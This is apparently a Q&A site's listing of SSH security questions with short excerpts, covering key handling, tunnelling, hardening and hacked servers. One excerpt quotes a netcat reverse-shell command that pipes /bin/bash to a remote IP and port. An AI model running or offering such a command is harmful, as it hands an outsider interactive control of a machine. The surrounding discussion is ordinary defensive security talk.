SSH (Secure shell) is a protocol for secure communication between computers to execute remote commands, transfer data and tunnel TCP connections.

learn more… | top users | synonyms

0
votes
0answers
6 views

Connected to my server through VPN. Should I change my key?

I am using an SSH key to connect to my server (I've got Pageant to authenticate my key) and I forgot that I had the VPN on so I connected to the server (SFTP) while I was on it. Should I change my ...
1
vote
0answers
28 views

Make my SSH I treat like VPN more anonymous

I have a VPS (although I could easily upgrade to a dedicated server) which I use as a "poor man's VPN" by tunneling through it. My aim is to improve this server so anyone attempting to track me has ...
1
vote
0answers
14 views

SSH certfificates generated on server user-creation + login scheme secure?

I'm sketching on a way to harden and automate server login using ssh-keygen with certificates where certificates, valid for e.g. 1 week, are generated on a trusted server and can be used to both ...
0
votes
0answers
11 views

Attacker's Potential Scope of Dmg if He/She can SSH into Android Phone

I've recently started researching the ability to SSH into an Android device. From what I've seen, this is a figured out challenge, which makes me wonder how much damage an attacker could do. Let's ...
2
votes
1answer
23 views

AuthorizedKeysCommand of sshd_config getting called twice

AuthorizedKeysCommand paramter present in the file /etc/ssh/sshd_config. The bash script which i called using this command is getting called twice. The config file is as follows #RSAAuthentication ...
3
votes
1answer
82 views

Hidden service security SSH

Pretend I have a Tor hidden service. For ultimate security I would firewall the internet entirely, except for Tor, to try to reduce IP address leakage and other security risks. My problem is how ...
0
votes
1answer
33 views

Getting Operating System Username using MySQL SQLi

Suppose I have a website which has SQL injection vulnerability and I got the database schema etc. Is there any means by which I can get the operating system username or the SSH username? Asking from ...
0
votes
0answers
5 views

Disable ssh logins with weak passwords [migrated]

Imagine an insane Debian server administrator, that added users with a weak password for a start and a hint, that they have to change it on the first login. Now that he uses secure passwords only, is ...
1
vote
1answer
70 views

What is the best practice to secure an unattended Raspberry Pi?

I'm working on a project which involves mounting a Raspberry Pi on a self-moving vehicle. I'm looking for the best way to encrypt the Pi (entire file-system, swap, etc.), with the minimum possible ...
0
votes
0answers
34 views

What can possibly happen to a public SSH server?

I'm writing a console emulator in JQuery, which will connect to a server through SSH and dynamically send commands (through AJAX) and receive output. Basically it will be a remote ssh console on a ...
61
votes
5answers
5k views

Does FTPS (FTP+S) offer better security than SFTP on the server side?

I had an exchange with some third party sysadmin yesterday regarding the setup of a file transfer interface between our servers. I suggested using SFTP because our application has good support for ...
27
votes
5answers
5k views

Advantages to killing sessions after 5 minutes?

I'm dealing with a server that isn't mine to configure. Something somewhere between me and this server kills any connection after 5 minutes if no traffic passes between the two machines. This includes ...
3
votes
1answer
44 views

Which ssh exploit works by changing the user name in the middle of the process?

Every few hours, I get a few of those in my server logs: sshd[...]: Disconnecting: Change of username or service not allowed: (httpd,ssh-connection) -> (http,ssh-connection) [preauth] sshd[...]: ...
0
votes
1answer
222 views

My server was hacked and I am asked to pay to recover my files

Today I got a message when I logged on the server: Hi, please view: http://pastie.org/private/tlixxvclirxmut6djqyacq for further in ...
1
vote
1answer
42 views

SSH Tunnels for Securing IoT Sensor-to-Server Connections (Many to One)

All, How bad (or good) an idea would it be to utilize SSH tunnels from my sensor gathering remote computers (imagine an "industrial" Raspberry Pi-like device w/ Linux) to my centralized server (also ...
5
votes
2answers
173 views

Best practices: Use of a single private key as a person, or multiple to identify self across domains?

Similar to the question here, I'd like to apply the same question to a person. For example, I have implanted a chip in my hand that holds an encrypted private key that serves as my personal unique ...
1
vote
1answer
25 views

SSH session_id in RFC 4253 (key exchange)

in RFC 4253 "SSH Transport Layer Protocol", section 7.2 specifies how session encryption and integrity keys (and IVs) are derived from the shared secret (K) and the exchange hash value (H). It uses, a ...
6
votes
1answer
84 views

Why would I sign my git commits with a GPG key when I already use an SSH key to authenticate myself when I push?

Simply put, I am wondering why would one need to sign one's commits with a GPG key when contributing to GitHub when one's already required to provide an SSH public key?
0
votes
1answer
52 views

X windows security: VNC and X server vs xpra

I have a CentOS server that currently has no X server on it. It will be used for doing statistical crunching and providing other services (probably via a web interface). The main security for the ...
0
votes
1answer
113 views

Can my company see that i'm using SSH?

In my company we use our own notebooks. Due to web filters, I decided to create an SSH tunnel to use my home internet connection. My question is: can my company identify that I'm using SSH? I've ...
1
vote
1answer
105 views

Someone logged in server through ssh using my RSA key

I just got the warning message from hosting provider that my server make outcoming traffic 1.5G to provide DDOS attack on someone host, and they disabled my VPS temporarily. When I search through ...
1
vote
0answers
46 views

find owner of private key

On one of the old dev servers I manage there is an RSA public and private key pair ~/.ssh/id_rsa.pub and ~/.ssh/id_rsa in a staging user account (used for automation and testing prior to ...
0
votes
1answer
40 views

Encrypt existing SSH key

I've created an RSA keypair for ssh access to a remote server. This all works. When creating the keypair, I didn't enter a password. Now I would like to encrypt the key, secure it with a password. Is ...
1
vote
2answers
36 views

Would saving GPG and SSH keys as another user improve security?

Since e.g. SSH keys under Linux are owned by the user who created them, any applications running as the user, e.g. a web browser, should be able to read them from the ~/.ssh folder. Say that there is ...
5
votes
2answers
89 views

Public key for SSH over the internet differs from a key for SSH over the LAN

I have a Raspberry Pi and can access it via SSH (authentication via user password) when my laptop is in the same network. Now I want to access it over the internet. I already set my router to forward ...
3
votes
1answer
69 views

Security of only allowing a few vetted commands using $SSH_ORIGINAL_COMMAND

Using a authorized_keys forced command with ssh and a wrapper-script like this: #!/usr/bin/env bash case "$SSH_ORIGINAL_COMMAND" in /var/lib/authorized-scripts/*) $SSH_ORIGINAL_COMMAND ;; ...
3
votes
1answer
50 views

Is symmetric encryption with one time pre-shared key secure?

Suppose I have a secure channel between client and server, with proper certificate validation etc (actually, ssh session). I want to establish a secure connection between my own application on a ...
-1
votes
1answer
60 views

Is it reckless to use an Android app to login to a server with SSH?

There is a very similar question here. Recently I came across an Android app that facilitates SSH and requires no permissions. Specifically, "Telnet / SSH Simple Client" by Advanced Planning Corp.. ...
1
vote
0answers
81 views

Tunneling rdp over ssh as a network newbie

For whatever reason I need to access a virtual machine (Windows server 2008r2) on my home network from outside the network over the internet via remote desktop. I read that there are "concerns" with ...
0
votes
1answer
31 views

Is it safe to use an Android Server Monitoring App, to login to a server with SSH?

Lately I have seen some Android Apps, (CPU Monitoring and things like that) that need access to your root account, ask you for username and pass, my questions are: Is it safe to give access to an ...
11
votes
1answer
177 views

How long to re-seed /dev/urandom in a virtual machine?

I have read plenty about the distinction between /dev/random and /dev/urandom. I understand that the prevailing advice is to use /dev/urandom. The explanation - that 256 bits of 'proper' randomness ...
1
vote
1answer
38 views

What purpose is served by repeated connection resets?

My server logs are being filled with Connection Reset by xxx.xxx.xxx.xxx [preauth]: $ cat /var/log/auth.log | grep 'Connection Reset' Mar 13 19:52:30 server sshd[29366]: Connection reset by ...
4
votes
1answer
42 views

What are the dangers of exposing weakly protected user accounts bound with a fake shell over ssh?

As anyone running a server can tell from first-hand experience, there are bots trying to constantly brute force their way through with commonly found usernames over SSH. A friend of mine created a ...
3
votes
1answer
67 views

How can I enforce that an SSH private key has a passphrase?

My company is serious about security and willing to move to SSH key-pairs. Users can generate their SSH key pairs independently and I worry if they set a pass-phrase. Can I enforce this? Does signing ...
2
votes
1answer
76 views

openssh old version vulnerabilities

My Ubuntu 12.04LTS system currently offers OpenSSH_5.9p1 Debian-5ubuntu1.8, OpenSSL 1.0.1 14 Mar 2012. Besides being old, it does not allow me to use e.g. the option # PubkeyAcceptedKeyTypes ssh-rsa* ...
3
votes
1answer
175 views

How did hackers compromise my EC2 instance?

My EC2 instance was hacked recently. It doesn't really matter as I'm just starting my website and there was no sensitive information on my server yet, but I do plan for there to be in the future. I am ...
3
votes
1answer
137 views

Putty settings - Protocols and Algorithms to warn about

I specify "Putty" as otherwise I feel the question would be too broad. What are the algorithm (as of March 2016) that one needs to be warned about (ie, those that no longer are considered safe ...
-3
votes
1answer
48 views

SSH and Port Forwarding - what are the possible attacks and how to avoid them? [closed]

What are possible attacks when using SSH and Local or Remote Port Forwarding? What are the threats? I understand that there are many, but what are they? And also, how could they be avoided?
1
vote
1answer
63 views

Minimal working configuration for reasonable security in openssh on Linux [duplicate]

I want to connect from my laptop to home server (both run some Linux; notice I explicitly want my user to be able to become root, in order e.g. to install new software): the server has the following ...
1
vote
1answer
39 views

Why does the result of ssh-keyscan -H contain a header line with the un-hashed server ID?

I'm attempting to build a global known_hosts file for my AWS VPC, and was looking at using ssh-keyscan to acquire the fingerprints of new servers as they are created. The -H option seems sensible, as ...
0
votes
0answers
43 views

Can I use process crash information to detect buffer overflow attacks?

Buffer overflow is a very common vulnerability, often targeted with zero-day exploits. Successful attacks often result in arbitrary code execution, while failed attempts tend to crash the target ...
0
votes
1answer
50 views

Connecting to a compromised server

There have been a number of threads lately about hacked websites where attackers are gaining control of the servers these sites are being hosted on. As such, these servers should be treated as ...
1
vote
1answer
75 views

What are the privacy implications of using Yubico OTP with YubiCloud?

I am considering purchasing Yubikey devices (made by Yubico) to add two-factor authentication when my users ssh to our various servers. I figured I would configure the device to use Yubico OTP with ...
3
votes
2answers
89 views

Can someone explain how sshd does privilege separation?

I'm confused about how sshd drops privs for incoming connections. I found this page which was very informative on a high level: http://www.citi.umich.edu/u/provos/ssh/privsep.html But I don't ...
1
vote
2answers
225 views

Snort “Protocol mismatch” from SSH preprocessor

TL;DR -- What does "protocol mismatch" even mean, and how is this a threat? Can I just suppress it? We are busy tuning Snort. The SSH preprocessor section looks like this, which comes directly from ...
1
vote
1answer
64 views

ssh key strength

Github currently suggest this type of key: ssh-keygen -t rsa -b 4096 -C "your_email@example.com" Is there a stronger algorithm or byte length mostly usable for most contemporary cloud, PaaS and ...
5
votes
2answers
75 views

How to secure shared user on build server?

We have a CI server which is installed as the builduser and all tasks are executed as that respective user at the OS level. We have many teams sharing the build server which means the build user and ...
14
votes
3answers
2k views

how does reverse shell behave?

Someone was helping me with a problem on my vagrant server. He was able to access shell via (I ran it for him, with his ip and port): nc <ip> -e /bin/bash <port> I've never encountered ...
4
votes
1answer
101 views

Spoofing LAN IP Address Traffic

To give as much detail as possible, I am doing a Pentest for a client that has quite a few "terminal systems" meaning that they are simply a box with a connection back to the main server. These ...
0
votes
4answers
128 views

Running SSH on a different port vs adding the port number to a password

So, a pretty typical piece of advice is to run SSH on a high port number, thus decreasing the chances of it being attacked. The thing I have always wondered about though is that it seems more secure ...